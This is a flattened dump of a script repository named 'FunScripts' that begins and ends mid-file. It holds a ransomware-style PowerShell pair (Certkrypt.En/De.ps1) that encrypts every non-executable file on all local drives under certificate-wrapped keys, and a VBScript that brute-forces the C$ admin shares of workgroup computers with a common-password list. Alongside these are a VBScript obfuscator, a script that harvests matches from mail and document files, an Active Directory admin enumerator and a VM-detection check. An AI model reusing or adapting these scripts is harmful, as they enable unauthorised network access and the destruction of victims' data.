Or Drive.DriveType = 3) Then 19 | For Each RootFile In FSO.GetFolder(Drive).Files 20 | Select Case LCase(FSO.GetExtensionName(RootFile.Name)) 21 | Case "msg", "oft", "sht", "dbx", "tbb", "adb", "doc", "wab", "asp", "aspx", "uin", "rtf", "vbs", "html", "htm", "pl", "php", "txt", "eml", "csv", "hta" 22 | ScanRoutine(RootFile.Path) 23 | End Select 24 | Next 25 | Recurse(Drive) 26 | End If 27 | Next 28 | Dim x 29 | x = Dict.RemoveAll 30 | WriteFile.Close 31 | '------------------------------------------------------------------------------------ 32 | Sub Recurse(SomeFolder) 33 | For Each FolderSet In FSO.GetFolder(SomeFolder).SubFolders 34 | For Each FileSet In FSO.GetFolder(FolderSet).Files 35 | Select Case LCase(FSO.GetExtensionName(FileSet.Name)) 36 | Case "msg", "oft", "sht", "dbx", "tbb", "adb", "doc", "wab", "asp", "aspx", "uin", "rtf", "vbs", "html", "htm", "pl", "php", "txt", "eml", "csv", "hta" 37 | WriteFile.WriteLine Now & " " & FileSet.Path 38 | ScanRoutine(FileSet.Path) 39 | End Select 40 | Next 41 | Recurse(FolderSet) 42 | Next 43 | End Sub 44 | '------------------------------------------------------------------------------------ 45 | Sub ScanRoutine(HostFile) 46 | Set objTextFile = FSO.OpenTextFile(HostFile, 1) 47 | strText = objTextFile.ReadAll 48 | objTextFile.Close 49 | Dim oMTS : Set oMTS = objRE.Execute(strText) 50 | Dim oMT 51 | For Each oMT In oMTS 52 | If Dict.Exists(LCase(oMT.Value)) = False Then 53 | Dict.Add LCase(oMT.Value), "" 54 | End If 55 | Next 56 | End Sub 57 | '------------------------------------------------------------------------------------ -------------------------------------------------------------------------------- /FunScripts/YellowPagesScraper.vbs: -------------------------------------------------------------------------------- 1 | 'This script scrapes the yellow pages for businesses and phone numbers of a specified category. 2 | 'Just change the FilePath variable to change the output location of the text file. 3 | 'Also change the website query string to change categories, may need editing if they have updated their website. 4 | On Error Resume Next 5 | Dim arrName(), arrPhone() 6 | ReDim arrName(0), arrPhone(0) 7 | Dim fullList, objHttp, output, oMTS, oMT, i 8 | Set objRE = New RegExp 9 | Dim FilePath 10 | FilePath = "C:\FilePath\output.txt" 11 | Set FSO = CreateObject ("Scripting.FileSystemObject") 12 | Set WriteFile = FSO.OpenTextFile(FilePath, 8, 1) 13 | Set objHttp = CreateObject("Microsoft.XMLHTTP") 14 | '-----------------------------------------------------------------------------------| 15 | ScanWebsite "http://411.ca/search/?q=computer&st=business" 16 | ScrapeRoutine ":","')") 35 | WriteFile.WriteLine fullList 36 | End Sub 37 | '-----------------------------------------------------------------------------------| 38 | Sub ScrapeRoutine(regEx,dataType) 39 | i = 0 40 | objRE.Pattern = regEx 41 | objRE.Global = True 42 | objRE.IgnoreCase = True 43 | Set oMTS = objRE.Execute(output) 44 | For Each oMT In oMTS 45 | If dataType = "Name" Then 46 | ReDim Preserve arrName(i) 47 | arrName(i) = oMT.Value 48 | i = i + 1 49 | ElseIf dataType = "Phone" Then 50 | ReDim Preserve arrPhone(i) 51 | arrPhone(i) = oMT.Value 52 | i = i + 1 53 | End If 54 | Next 55 | End Sub 56 | '-----------------------------------------------------------------------------------| -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /FunScripts/NetworkDriveBruteForcer.vbs: -------------------------------------------------------------------------------- 1 | 'This script brute forces connections to other computers in a workgroup 2 | On Error Resume Next 3 | Dim U(123) 4 | Dim D(4) 5 | Dim ntwk 6 | Dim q 7 | q = 0 8 | Set ntwk = WScript.CreateObject("WScript.Network") 9 | 10 | U(0) = "administrator": U(1) = "admin": U(2) = "manager": U(3) = "system": U(4) = "service": U(5) = "guest": U(6) = "field": U(7) = "user": U(8) = "who": U(9) = "visitor": U(10) = "anonymous": U(11) = "public": U(12) = "private": U(13) = "default": U(14) = "test": U(15) = "super": U(16) = "security": U(17) = "server": U(18) = "computer": U(19) = "secret": U(20) = "name": U(21) = "root": U(22) = "internet": U(23) = "pass": U(24) = "password": U(25) = "monkey": U(26) = "michael": U(27) = "12345678": U(28) = "superman": U(29) = "qwerty": U(30) = "dragon": U(31) = "abc123": U(32) = "1234567": U(33) = "12345": U(34) = "shadow": U(35) = "jordan": U(36) = "princess": U(37) = "iloveyou": U(38) = "football": U(39) = "111111": U(40) = "welcome": U(41) = "master": U(42) = "letmein": U(43) = "jennifer": U(44) = "baseball": U(45) = "654321": U(46) = "whatever": U(47) = "sunshine": U(48) = "michelle": U(49) = "joshua": U(50) = "ginger": U(51) = "daniel": U(52) = "ashley": U(53) = "anthony": U(54) = "123456789": U(55) = "123123": U(56) = "0": U(57) = "yellow": U(58) = "william": U(59) = "trustno1": U(60) = "tigger": U(61) = "thomas": U(62) = "taylor": U(63) = "soccer": U(64) = "samantha": U(65) = "purple": U(66) = "superuser": U(67) = "pepper": U(68) = "orange": U(69) = "nicole": U(70) = "mustang": U(71) = "money": U(72) = "mickey": U(73) = "matthew": U(74) = "justin": U(75) = "jasmine": U(76) = "harley": U(77) = "freedom": U(78) = "cookie": U(79) = "charlie": U(80) = "buster": U(81) = "brandon": U(82) = "batman": U(83) = "bailey": U(84) = "babygirl": U(85) = "austin": U(86) = "angels": U(87) = "andrew": U(88) = "1234": U(89) = "sql": U(90) = "database": U(91) = "oracle": U(92) = "thunder": U(93) = "summer": U(94) = "success": U(95) = "rockyou": U(96) = "robert": U(97) = "ranger": U(98) = "pl.": U(99) = "ninja": U(100) = "mss.": U(101) = "merlin": U(102) = "maggie": U(103) = "madison": U(104) = "lovely": U(105) = "love": U(106) = "junior": U(107) = "joseph": U(108) = "jessica": U(109) = "hunter": U(110) = "hello": U(111) = "hannah": U(112) = "hammer": U(113) = "flower": U(114) = "family": U(115) = "dick": U(116) = "dallas": U(117) = "crystal": U(118) = "cheese": U(119) = "butterfly": U(120) = "amanda": U(121) = "696969": U(122) = "666666" 11 | 12 | D(0) = "Z:": D(1) = "Y:": D(2) = "X:": D(3) = "W:" 13 | 14 | Set objDomain = GetObject("WinNT://WORKGROUP") 15 | For each objDomainItem in objDomain 16 | If objDomainItem.Class = "Computer" then 17 | For i = 0 to 122 'username 18 | For r = 0 to 122 'pass 19 | ntwk.MapNetworkDrive D(q),"\\" & objDomainItem.Name & "\c$",False,U(i),U(r) 20 | If Err Then 21 | Err.Clear() 22 | Else 23 | MsgBox(D(q) & " " & objDomainItem.Name & " " & U(i) & " " & U(r)) 24 | q = q + 1 25 | End If 26 | Next 27 | Next 28 | End if 29 | Next -------------------------------------------------------------------------------- /FunScripts/Certkrypt.De.ps1: -------------------------------------------------------------------------------- 1 | #This is a PowerShell script that traverses your computers drives and decrypts files. 2 | #It decrypts a randomly generated key at the start of each file with a private key certificate. 3 | #This means the symmetric keys will be different for every file. 4 | #The key appended to the start of each file is used to perform the symmetric decryption and decrypt the rest of the file with Rijndael Managed. 5 | #The private key certificate is used to decrypt the encrypted key at the start of each file, then that decrypted key is used to decrypt the rest of the file. 6 | #This is asymmetric decryption blended with symmetric decryption. 7 | #This is the decryption algorithm, the encryption algorithm will be in another file. 8 | #Warning: Be careful using this script, it could lead to data loss and more. 9 | [Reflection.Assembly]::LoadWithPartialName("System.Security") 10 | 11 | #Decryption routine: 12 | function Decrypt($path) 13 | { 14 | $item = [System.IO.File]::ReadAllBytes($path) 15 | $enckey = @(0) * (256) 16 | $encdata = @(0) * ($item.Length - 256) 17 | [array]::Copy($item, 0, $enckey, 0, 256) 18 | [array]::Copy($item, 256, $encdata, 0, $item.Length - 256) 19 | $init = "init" 20 | $r = new-Object System.Security.Cryptography.RijndaelManaged 21 | $r.Key = $cert.PrivateKey.Decrypt($enckey, $true) 22 | $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes($init))[0..15] 23 | $r.padding = "PKCS7" 24 | $r.mode = "CBC" 25 | $c = $r.createdecryptor() 26 | $ms = new-Object IO.MemoryStream 27 | $cs = new-Object Security.Cryptography.CryptoStream $ms, $c, "Write" 28 | $cs.write($encdata, 0, $encdata.length) 29 | $cs.close() 30 | $ms.close() 31 | $r.clear() 32 | [System.IO.File]::WriteAllBytes($path, $ms.toarray()) 33 | } 34 | #Start of PowerShell script. 35 | cls 36 | cd c:\ 37 | write-host "Working . . ." 38 | #Uses a certificate from the microsoft certificate store, replace the zeros with the private key certificate identifier. 39 | $cert = get-item -path cert:\currentuser\my\0000000000000000000000000000000000000000 -ea stop 40 | $ErrorActionPreference = "SilentlyContinue" 41 | $user = [environment]::machinename+"\"+[environment]::username 42 | 43 | foreach ($n in get-wmiobject win32_logicaldisk -filter "drivetype='3' or drivetype='4'" | select-object -expandproperty name) 44 | { 45 | #Only decrypt *.encrypted files. 46 | foreach ($i in get-childitem $n -r -i @("*.encrypted") | select-object -expandproperty fullname) 47 | { 48 | #Only decrypts files less than 180 mb, can change depending on your available resources. 49 | if (((Get-Item $i).length -lt 180mb) -eq "True") 50 | { 51 | try { 52 | $acl = Get-Acl $i -ea "Stop" 53 | #Determines if the file can be overwritten. 54 | ForEach ($z in $acl.access | ForEach-Object {($_.identityreference -eq $user) -and ($_.FileSystemRights -eq "FullControl")}) 55 | { 56 | if ($z -eq "True") 57 | { 58 | write-host $i 59 | #Do the decryption and rename. 60 | Decrypt $i 61 | [gc]::Collect() 62 | $name = [System.IO.Path]::GetFileName($i) 63 | $name = $name -replace ".encrypted", "" 64 | rename-item $i $name 65 | } 66 | } 67 | } catch { 68 | #Error handling if necessary. 69 | #write-host $i 70 | } 71 | } 72 | } 73 | } 74 | #Print errors if this line is enabled. 75 | #$error | Out-File "C:\FilePath\errors.txt" 76 | write-host "Done." 77 | start-sleep 120 -------------------------------------------------------------------------------- /FunScripts/FunScripts.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {EE043BDF-7C14-4F21-944B-4732A3D1A2B7} 8 | Exe 9 | FunScripts 10 | FunScripts 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /FunScripts/Certkrypt.En.ps1: -------------------------------------------------------------------------------- 1 | #This is a PowerShell script that traverses your computers drives and encrypts files. 2 | #It uses a randomly generated key which is encrypted with the public key certificate and added to the start of each file. 3 | #This means the symmetric keys will be different for every file. 4 | #The key appended to the start of each file is used to perform the symmetric encryption and encrypt the rest of the file with Rijndael Managed. 5 | #The private key certificate is later used to decrypt the encrypted key at the start of each file, then that decrypted key is used to decrypt the rest of the file. 6 | #This is asymmetric encryption blended with symmetric encryption. 7 | #This is the encryption algorithm, the decryption algorithm will be in another file. 8 | #Warning: Be careful using this script, it could lead to data loss and more. 9 | [Reflection.Assembly]::LoadWithPartialName("System.Security") 10 | 11 | #Encryption routine: 12 | function Encrypt($path) 13 | { 14 | $item = [System.IO.File]::ReadAllBytes($path) 15 | $init = "init" 16 | 17 | $key = New-Object byte[](32) 18 | $rng = [System.Security.Cryptography.RNGCryptoServiceProvider]::Create() 19 | $rng.GetBytes($key) 20 | 21 | $r = new-Object System.Security.Cryptography.RijndaelManaged 22 | $r.Key = $key 23 | $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes($init))[0..15] 24 | $r.padding = "PKCS7" 25 | $r.mode = "CBC" 26 | $c = $r.createencryptor() 27 | $ms = new-Object IO.MemoryStream 28 | $cs = new-Object Security.Cryptography.CryptoStream $ms, $c, "Write" 29 | $cs.write($item, 0, $item.length) 30 | $cs.close() 31 | $ms.close() 32 | $r.clear() 33 | $fileKey = $cert.PublicKey.Key.Encrypt($key, $true) 34 | if ($null -ne $key) { [array]::Clear($key, 0, $key.Length) } 35 | [System.IO.File]::WriteAllBytes($path, $fileKey+$ms.toarray()) 36 | } 37 | #Start of PowerShell script. 38 | cls 39 | cd c:\ 40 | write-host "Working . . ." 41 | #Uses a certificate from the microsoft certificate store, replace the zeros with the public key certificate identifier. 42 | $cert = get-item -path cert:\currentuser\my\0000000000000000000000000000000000000000 -ea stop 43 | $ErrorActionPreference = "SilentlyContinue" 44 | $user = [environment]::machinename+"\"+[environment]::username 45 | 46 | foreach ($n in get-wmiobject win32_logicaldisk -filter "drivetype='3' or drivetype='4'" | select-object -expandproperty name) 47 | { 48 | #Does not encrypt executable files in this list, includes all other files. 49 | foreach ($i in get-childitem $n -r -i @("*.*") -exclude @("*.exe","*.dll","*.cpl","*.ocx","*.sys","*.scr","*.drv","*.efi","*.fon","*.encrypted","*.lnk","*.pif","*.msi","*.com","*.cmd","*.bin","*.bat","*.job","*.reg","*.inf","*.ins","*.msc") | select-object -expandproperty fullname) 50 | { 51 | #Only encrypts files less than 180 mb, can change depending on your available resources. 52 | if (((Get-Item $i).length -lt 180mb) -eq "True") 53 | { 54 | try { 55 | $acl = Get-Acl $i -ea "Stop" 56 | #Determines if the file can be overwritten. 57 | ForEach ($z in $acl.access | ForEach-Object {($_.identityreference -eq $user) -and ($_.FileSystemRights -eq "FullControl")}) 58 | { 59 | if ($z -eq "True") 60 | { 61 | write-host $i 62 | #Do the encryption and rename. 63 | Encrypt $i 64 | [gc]::Collect() 65 | $name = [System.IO.Path]::GetFileName($i) 66 | rename-item $i $name".encrypted" 67 | } 68 | } 69 | } catch { 70 | #Error handling if necessary. 71 | #write-host $i 72 | } 73 | } 74 | } 75 | } 76 | #Print errors if this line is enabled. 77 | #$error | Out-File "C:\FilePath\errors.txt" 78 | write-host "Done." 79 | start-sleep 120 -------------------------------------------------------------------------------- /FunScripts/VBSObfuscator.vbs: -------------------------------------------------------------------------------- 1 | 'This script obfuscates VBS scripts to protect intellectual property or prevent editing by unsophisticated users. 2 | 'In software development, obfuscation is the act of creating source or machine code that is difficult for humans or computers to understand. 3 | 'Keep in mind obfuscation is not secure and does not provide security like encryption algorithms do. 4 | 'When run provide it a path to a VBS script to obfuscate. 5 | Randomize() 6 | Set FSO = CreateObject("Scripting.FileSystemObject") 7 | SourceFileName = Inputbox("Enter path of the VBS file to scramble: ") 8 | Set Source = FSO.OpenTextfile(SourceFileName, 1) 9 | Body = Source.ReadAll 10 | Source.Close 11 | Set Output = FSO.CreateTextFile("Output.vbs", True) 12 | Output.WriteLine "Execute(" & Obfuscate(Body) & ")" 13 | Output.Close 14 | 15 | Function Obfuscate(txt) 16 | Dim Switch, enc, i 17 | enc = "" 18 | For i = 1 To Len(txt) 19 | Switch = Int(2 * Rnd()) + 1 20 | Select Case Switch 21 | Case 1 22 | enc = enc & "Chr(" & IntegerBreak(Asc(Mid(txt, i, 1))) & ")&" 23 | Case 2 24 | enc = enc & "Chr((" & IntegerBreak(Asc(Mid(txt, i, 1))) & "))&" 25 | End Select 26 | Next 27 | Obfuscate = enc & "vbcrlf" 28 | End Function 29 | 30 | Public Function IntegerBreak(PickedInteger) 31 | Randomize() 32 | Dim Switch, Entropy, Result, Counter 33 | If PickedInteger < 50 Then 34 | Switch = Int(9 * Rnd()) + 1 35 | Else 36 | Switch = Int(8 * Rnd()) + 1 37 | End If 38 | 'ration entropy 39 | If Switch = 3 Then 'multiplication 40 | Counter = 100 41 | For i = 0 To 100 42 | If PickedInteger Mod Counter = 0 And PickedInteger <> Counter Then 43 | Entropy = Counter 44 | Exit For 45 | End If 46 | Counter = Counter - 1 47 | Next 48 | ElseIf Switch = 7 Then 'exponents 49 | Entropy = Int(3 * Rnd()) + 1 50 | Else 51 | Entropy = Int(100 * Rnd()) + 1 52 | End If 53 | 'pick an equation 54 | Select Case Switch 55 | Case 1 56 | 'addition 57 | Result = PickedInteger - Entropy 58 | IntegerBreak = "&H" & Hex(Result) & "+&H" & Hex(Entropy) 59 | Case 2 60 | 'subtraction 61 | Result = PickedInteger + Entropy 62 | IntegerBreak = "&H" & Hex(Result) & "-&H" & Hex(Entropy) 63 | Case 3 64 | 'multiplication 65 | Result = PickedInteger / Entropy 66 | IntegerBreak = "&H" & Hex(Result) & "*&H" & Hex(Entropy) 67 | Case 4 68 | 'division 69 | Result = PickedInteger * Entropy 70 | IntegerBreak = "&H" & Hex(Result) & "/&H" & Hex(Entropy) 71 | Case 5 72 | 'squares 73 | Result = PickedInteger ^ 2 74 | IntegerBreak = "Sqr(&H" & Hex(Result) & ")" 75 | Case 6 76 | 'xor 77 | Result = PickedInteger Xor Entropy 78 | IntegerBreak = "(&H" & Hex(Result) & ")Xor(&H" & Hex(Entropy) & ")" 79 | Case 7 80 | 'exponents 81 | Result = PickedInteger ^ Entropy 82 | IntegerBreak = Result & "^(&H1/&H" & Hex(Entropy) & ")" 83 | Case 8 84 | 'hex 85 | IntegerBreak = "&H" & Hex(PickedInteger) 86 | Case 9 87 | 'modulus 88 | Result = PickedInteger + Entropy 89 | Counter = 100 90 | Do While Result Mod Entropy <> PickedInteger 91 | Entropy = Int(100 * Rnd()) + 1 92 | Result = PickedInteger + Entropy 93 | Counter = Counter - 1 94 | Loop 95 | IntegerBreak = "(" & "&H" & Hex(Result) & ")Mod(" & "&H" & Hex(Entropy) & ")" 96 | End Select 97 | End Function -------------------------------------------------------------------------------- /FunScripts/ADEnumerator.ps1: -------------------------------------------------------------------------------- 1 | # ADEnumerator.ps1 2 | # Active Directory Account Enumeration Script 3 | # Requires ActiveDirectory PowerShell module 4 | 5 | # Check if AD module is installed 6 | if (-not (Get-Module -ListAvailable -Name ActiveDirectory)) { 7 | Write-Host "ActiveDirectory module is not installed. Please install RSAT tools or run this on a domain controller." -ForegroundColor Red 8 | exit 9 | } 10 | 11 | # Import the Active Directory module 12 | Import-Module ActiveDirectory 13 | 14 | function Get-ADAccountSummary { 15 | [CmdletBinding()] 16 | param() 17 | 18 | Write-Host "`n=== Active Directory Account Summary ===" -ForegroundColor Cyan 19 | 20 | # Get all users 21 | $allUsers = Get-ADUser -Filter * 22 | $enabledUsers = $allUsers | Where-Object {$_.Enabled -eq $true} 23 | $disabledUsers = $allUsers | Where-Object {$_.Enabled -eq $false} 24 | 25 | # Get all groups 26 | $allGroups = Get-ADGroup -Filter * 27 | 28 | Write-Host "`nTotal Users: $($allUsers.Count)" 29 | Write-Host "Enabled Users: $($enabledUsers.Count)" 30 | Write-Host "Disabled Users: $($disabledUsers.Count)" 31 | Write-Host "Total Groups: $($allGroups.Count)" 32 | } 33 | 34 | function Get-ADPrivilegedAccounts { 35 | [CmdletBinding()] 36 | param() 37 | 38 | Write-Host "`n=== Privileged Account Analysis ===" -ForegroundColor Cyan 39 | 40 | # Check Domain Admins 41 | $domainAdmins = Get-ADGroupMember "Domain Admins" -Recursive | Get-ADUser -Properties LastLogonDate, Enabled 42 | Write-Host "`nDomain Admins:" -ForegroundColor Yellow 43 | $domainAdmins | Format-Table Name, Enabled, LastLogonDate -AutoSize 44 | 45 | # Check Enterprise Admins 46 | try { 47 | $enterpriseAdmins = Get-ADGroupMember "Enterprise Admins" -Recursive | Get-ADUser -Properties LastLogonDate, Enabled 48 | Write-Host "`nEnterprise Admins:" -ForegroundColor Yellow 49 | $enterpriseAdmins | Format-Table Name, Enabled, LastLogonDate -AutoSize 50 | } catch { 51 | Write-Host "Enterprise Admins group not accessible in this context." -ForegroundColor Yellow 52 | } 53 | } 54 | 55 | function Get-ADInactiveAccounts { 56 | [CmdletBinding()] 57 | param( 58 | [int]$DaysInactive = 90 59 | ) 60 | 61 | Write-Host "`n=== Inactive Account Analysis ===" -ForegroundColor Cyan 62 | $date = (Get-Date).AddDays(-$DaysInactive) 63 | 64 | $inactiveUsers = Get-ADUser -Filter {LastLogonDate -lt $date -and Enabled -eq $true} -Properties LastLogonDate | 65 | Select-Object Name, SamAccountName, LastLogonDate 66 | 67 | Write-Host "`nInactive accounts (not logged in for $DaysInactive days):" -ForegroundColor Yellow 68 | $inactiveUsers | Format-Table -AutoSize 69 | } 70 | 71 | function Get-ADPasswordPolicy { 72 | [CmdletBinding()] 73 | param() 74 | 75 | Write-Host "`n=== Password Policy Analysis ===" -ForegroundColor Cyan 76 | 77 | $policy = Get-ADDefaultDomainPasswordPolicy 78 | $policy | Format-List ComplexityEnabled, MinPasswordLength, PasswordHistoryCount, MaxPasswordAge, MinPasswordAge, LockoutThreshold, LockoutDuration 79 | } 80 | 81 | function Get-ADRecentlyCreatedAccounts { 82 | [CmdletBinding()] 83 | param( 84 | [int]$DaysBack = 30 85 | ) 86 | 87 | Write-Host "`n=== Recently Created Accounts ===" -ForegroundColor Cyan 88 | $date = (Get-Date).AddDays(-$DaysBack) 89 | 90 | $newAccounts = Get-ADUser -Filter {Created -gt $date} -Properties Created | 91 | Select-Object Name, SamAccountName, Created 92 | 93 | Write-Host "`nAccounts created in the last $DaysBack days:" -ForegroundColor Yellow 94 | $newAccounts | Format-Table -AutoSize 95 | } 96 | 97 | # Main menu function 98 | function Show-Menu { 99 | Clear-Host 100 | Write-Host "=== Active Directory Account Enumeration Tool ===" -ForegroundColor Cyan 101 | Write-Host "1. Get Account Summary" 102 | Write-Host "2. List Privileged Accounts" 103 | Write-Host "3. Find Inactive Accounts" 104 | Write-Host "4. Show Password Policy" 105 | Write-Host "5. Show Recently Created Accounts" 106 | Write-Host "6. Run All Reports" 107 | Write-Host "Q. Quit" 108 | Write-Host 109 | } 110 | 111 | # Main script loop 112 | do { 113 | Show-Menu 114 | $selection = Read-Host "Please make a selection" 115 | 116 | switch ($selection) { 117 | '1' { Get-ADAccountSummary; pause } 118 | '2' { Get-ADPrivilegedAccounts; pause } 119 | '3' { 120 | $days = Read-Host "Enter number of days for inactivity threshold (default: 90)" 121 | if ([string]::IsNullOrWhiteSpace($days)) { $days = 90 } 122 | Get-ADInactiveAccounts -DaysInactive $days 123 | pause 124 | } 125 | '4' { Get-ADPasswordPolicy; pause } 126 | '5' { 127 | $days = Read-Host "Enter number of days to look back (default: 30)" 128 | if ([string]::IsNullOrWhiteSpace($days)) { $days = 30 } 129 | Get-ADRecentlyCreatedAccounts -DaysBack $days 130 | pause 131 | } 132 | '6' { 133 | Get-ADAccountSummary 134 | Get-ADPrivilegedAccounts 135 | Get-ADInactiveAccounts 136 | Get-ADPasswordPolicy 137 | Get-ADRecentlyCreatedAccounts 138 | pause 139 | } 140 | 'Q' { return } 141 | 'q' { return } 142 | } 143 | } while ($true) -------------------------------------------------------------------------------- /FunScripts/DetectVM.ps1: -------------------------------------------------------------------------------- 1 | # Function to check if system is running in a virtual machine 2 | function Test-IsVirtualMachine { 3 | [CmdletBinding()] 4 | param() 5 | 6 | $IsVirtual = $false 7 | $VirtualIndicators = @{ 8 | Manufacturer = $false 9 | Model = $false 10 | BIOS = $false 11 | Services = $false 12 | Processes = $false 13 | VMwareTools = $false 14 | HyperVServices = $false 15 | VBoxServices = $false 16 | } 17 | 18 | Write-Host "Checking for VM indicators..." -ForegroundColor Cyan 19 | 20 | # Check System Manufacturer and Model 21 | $SystemInfo = Get-WmiObject -Class Win32_ComputerSystem 22 | $Manufacturer = $SystemInfo.Manufacturer 23 | $Model = $SystemInfo.Model 24 | 25 | Write-Host "`nManufacturer: $Manufacturer" 26 | Write-Host "Model: $Model" 27 | 28 | # Check common VM manufacturer names 29 | $VMManufacturers = @('VMware', 'Microsoft Corporation', 'innotek GmbH', 'QEMU', 'Xen', 'Oracle') 30 | foreach ($VMManufacturer in $VMManufacturers) { 31 | if ($Manufacturer -match $VMManufacturer) { 32 | $VirtualIndicators.Manufacturer = $true 33 | break 34 | } 35 | } 36 | 37 | # Check common VM model names 38 | $VMModels = @('Virtual Machine', 'VMware', 'VirtualBox', 'KVM', 'Xen') 39 | foreach ($VMModel in $VMModels) { 40 | if ($Model -match $VMModel) { 41 | $VirtualIndicators.Model = $true 42 | break 43 | } 44 | } 45 | 46 | # Check BIOS information 47 | $BIOS = Get-WmiObject -Class Win32_BIOS 48 | Write-Host "`nBIOS Manufacturer: $($BIOS.Manufacturer)" 49 | Write-Host "BIOS Version: $($BIOS.Version)" 50 | Write-Host "BIOS Serial Number: $($BIOS.SerialNumber)" 51 | 52 | # Check for VM BIOS manufacturers 53 | $VMBiosManufacturers = @('VMware', 'Phoenix', 'American Megatrends', 'Xen', 'innotek GmbH') 54 | foreach ($VMBiosManufacturer in $VMBiosManufacturers) { 55 | if ($BIOS.Manufacturer -match $VMBiosManufacturer) { 56 | $VirtualIndicators.BIOS = $true 57 | break 58 | } 59 | } 60 | 61 | # Check for VM-specific services 62 | $VMServices = @( 63 | 'vmtools', 64 | 'vboxservice', 65 | 'vmhgfs', 66 | 'vmvss', 67 | 'vmmouse', 68 | 'VMwareTools', 69 | 'xenevtchn', 70 | 'xennet', 71 | 'xenservice', 72 | 'vmicheartbeat', 73 | 'vmicvss', 74 | 'vmicshutdown', 75 | 'vmicexchange' 76 | ) 77 | 78 | $RunningServices = Get-Service | Where-Object { $_.Status -eq 'Running' } 79 | Write-Host "`nChecking VM-specific services..." 80 | foreach ($Service in $RunningServices) { 81 | if ($VMServices -contains $Service.Name) { 82 | Write-Host "Found VM service: $($Service.Name)" -ForegroundColor Yellow 83 | $VirtualIndicators.Services = $true 84 | } 85 | } 86 | 87 | # Check for VM-specific processes 88 | $VMProcesses = @( 89 | 'vmtoolsd.exe', 90 | 'vboxservice.exe', 91 | 'vboxtray.exe', 92 | 'vmwareuser.exe', 93 | 'vmwaretray.exe' 94 | ) 95 | 96 | $RunningProcesses = Get-Process 97 | Write-Host "`nChecking VM-specific processes..." 98 | foreach ($Process in $RunningProcesses) { 99 | if ($VMProcesses -contains $Process.Name) { 100 | Write-Host "Found VM process: $($Process.Name)" -ForegroundColor Yellow 101 | $VirtualIndicators.Processes = $true 102 | } 103 | } 104 | 105 | # Check for VMware Tools specific registry keys 106 | $VMwareToolsKey = "HKLM:\SOFTWARE\VMware, Inc.\VMware Tools" 107 | if (Test-Path $VMwareToolsKey) { 108 | Write-Host "`nVMware Tools registry key found" -ForegroundColor Yellow 109 | $VirtualIndicators.VMwareTools = $true 110 | } 111 | 112 | # Check for Hyper-V specific registry keys 113 | $HyperVKey = "HKLM:\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters" 114 | if (Test-Path $HyperVKey) { 115 | Write-Host "`nHyper-V guest registry key found" -ForegroundColor Yellow 116 | $VirtualIndicators.HyperVServices = $true 117 | } 118 | 119 | # Check for VirtualBox specific registry keys 120 | $VBoxKey = "HKLM:\SOFTWARE\Oracle\VirtualBox Guest Additions" 121 | if (Test-Path $VBoxKey) { 122 | Write-Host "`nVirtualBox Guest Additions registry key found" -ForegroundColor Yellow 123 | $VirtualIndicators.VBoxServices = $true 124 | } 125 | 126 | # Calculate if this is likely a VM based on indicators 127 | $TrueIndicators = ($VirtualIndicators.Values | Where-Object { $_ -eq $true }).Count 128 | $IsVirtual = $TrueIndicators -gt 0 129 | 130 | # Display summary 131 | Write-Host "`n=== Detection Summary ===" -ForegroundColor Cyan 132 | $VirtualIndicators.GetEnumerator() | ForEach-Object { 133 | $Color = if ($_.Value) { 'Yellow' } else { 'Green' } 134 | Write-Host "$($_.Key): $($_.Value)" -ForegroundColor $Color 135 | } 136 | 137 | Write-Host "`nFinal Assessment:" -ForegroundColor Cyan 138 | if ($IsVirtual) { 139 | Write-Host "This system appears to be a Virtual Machine" -ForegroundColor Yellow 140 | Write-Host "Confidence: $([math]::Round(($TrueIndicators / $VirtualIndicators.Count) * 100))%" -ForegroundColor Yellow 141 | } else { 142 